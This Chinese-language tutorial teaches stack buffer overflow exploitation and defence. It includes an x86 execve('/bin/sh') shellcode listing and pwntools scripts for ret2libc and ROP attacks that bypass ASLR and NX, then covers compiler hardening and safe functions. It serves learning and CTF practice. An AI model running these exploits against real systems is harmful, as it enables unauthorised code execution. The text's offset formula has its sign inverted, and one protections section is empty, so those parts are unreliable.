栈溢出与二进制攻防实战指南

1. 栈溢出基础概念

1.1 栈内存结构

• 栈帧(Stack Frame)：每个函数调用时在栈上分配的内存区域
• 寄存器：
  • EBP/RBP：基址指针，指向当前栈帧的底部
  • ESP/RSP：栈指针，指向当前栈帧的顶部
• 典型栈布局（从高地址到低地址）：
  • 函数参数
  • 返回地址
  • 旧的EBP/RBP
  • 局部变量
  • 缓冲区空间

1.2 栈溢出原理

当向栈上的缓冲区写入超过其分配大小的数据时，会覆盖相邻的内存区域：

• 覆盖局部变量
• 覆盖旧的EBP/RBP
• 覆盖返回地址（关键攻击点）
• 覆盖函数参数

2. 漏洞利用技术

2.1 基本利用步骤

1. 识别存在栈溢出的函数（如strcpy, gets等）
2. 确定溢出偏移量（到返回地址的距离）
3. 构造恶意输入：
   • 填充垃圾数据
   • 覆盖返回地址
   • 注入shellcode或跳转到已有函数

2.2 关键计算方法

• 偏移量计算：

  • 使用模式字符串（如Cyclic Pattern）确定精确偏移
  • 公式：偏移量 = 缓冲区起始地址 - 返回地址存储位置

• 返回地址覆盖：

  • 小端序排列（x86/x64）
  • 精确覆盖返回地址的最低有效字节（部分覆盖）

2.3 Shellcode编写

• 基本要求：

  • 避免空字节（\x00）
  • 自包含且位置无关
  • 尽可能短小精悍

• 常见shellcode：

  ; Linux x86 execve("/bin/sh")
  xor eax, eax
  push eax
  push 0x68732f2f  ; "hs//"
  push 0x6e69622f  ; "nib/"
  mov ebx, esp
  push eax
  push ebx
  mov ecx, esp
  mov al, 0xb
  int 0x80
  

3. 防护机制与绕过技术

3.1 常见防护机制

3.2 ROP技术详解

• 基本原理：利用程序中已有的代码片段（gadget）构造攻击链

• 关键步骤：

  1. 寻找可用gadgets
  2. 构造ROP链
  3. 控制执行流

• 常用gadget类型：

  • 寄存器控制
  • 内存读写
  • 算术运算
  • 系统调用

• 工具：

  • ROPgadget
  • ropper
  • pwntools的ROP模块

4. 实战案例分析

4.1 经典栈溢出利用

from pwn import *

context(arch='i386', os='linux')

# 1. 创建连接
p = process('./vulnerable')

# 2. 计算偏移
offset = 140

# 3. 获取函数地址
elf = ELF('./vulnerable')
system = elf.symbols['system']
binsh = next(elf.search(b'/bin/sh\x00'))

# 4. 构造payload
payload = flat({
    offset: [
        system,
        0xdeadbeef,  # 返回地址（不重要）
        binsh
    ]
})

# 5. 发送payload
p.sendline(payload)
p.interactive()

4.2 绕过ASLR和NX

# 信息泄漏获取libc基址
p.recvuntil('leak: ')
leak = int(p.recvline(), 16)
libc.address = leak - 0x3c3b78  # 根据泄漏点调整

# 构造ROP链
rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh\x00')))

# 发送ROP链
p.sendline(b'A'*offset + rop.chain())

5. 防御措施开发

5.1 安全编码实践

• 使用安全函数替代危险函数：

  • fgets 替代 gets
  • strncpy 替代 strcpy
  • snprintf 替代 sprintf

• 输入验证：

  • 严格的长度检查
  • 白名单过滤

5.2 编译时防护

• GCC选项：

  -fstack-protector       # 栈保护
  -fstack-protector-all   # 全栈保护
  -D_FORTIFY_SOURCE=2     # 加强检查
  -Wl,-z,now              # 立即绑定
  -Wl,-z,relro            # 重定位只读
  

6. 调试与分析工具

6.1 静态分析工具

• IDA Pro/Ghidra：反汇编与逆向工程
• Binary Ninja：二进制分析
• checksec：检查二进制防护

6.2 动态分析工具

• GDB（增强插件）：
  • pwndbg
  • gef
  • peda
• ltrace/strace：库/系统调用跟踪
• Valgrind：内存错误检测

7. 高级技巧

7.1 堆栈联合利用

• 利用栈溢出修改堆元数据
• 通过堆操作影响栈内存

7.2 面向返回编程变种

• JOP（Jump-oriented Programming）
• COP（Call-oriented Programming）
• SROP（Sigreturn-oriented Programming）

7.3 现代绕过技术

• 利用内存泄漏绕过ASLR
• 利用类型混淆绕过保护
• 利用竞态条件实现利用

8. 练习资源推荐

• Exploit Exercises（Protostar, Nebula）
• Pwnable.kr
• CTF比赛题目
• CVE漏洞复现

附录：常见危险函数列表

gets, sprintf, strcpy, strcat, scanf, 
vsprintf, realpath, getwd, syslog

通过系统学习栈溢出原理、利用技术和防御方法，可以全面掌握二进制安全攻防的核心技能。建议结合CTF题目和实际漏洞复现进行实践练习。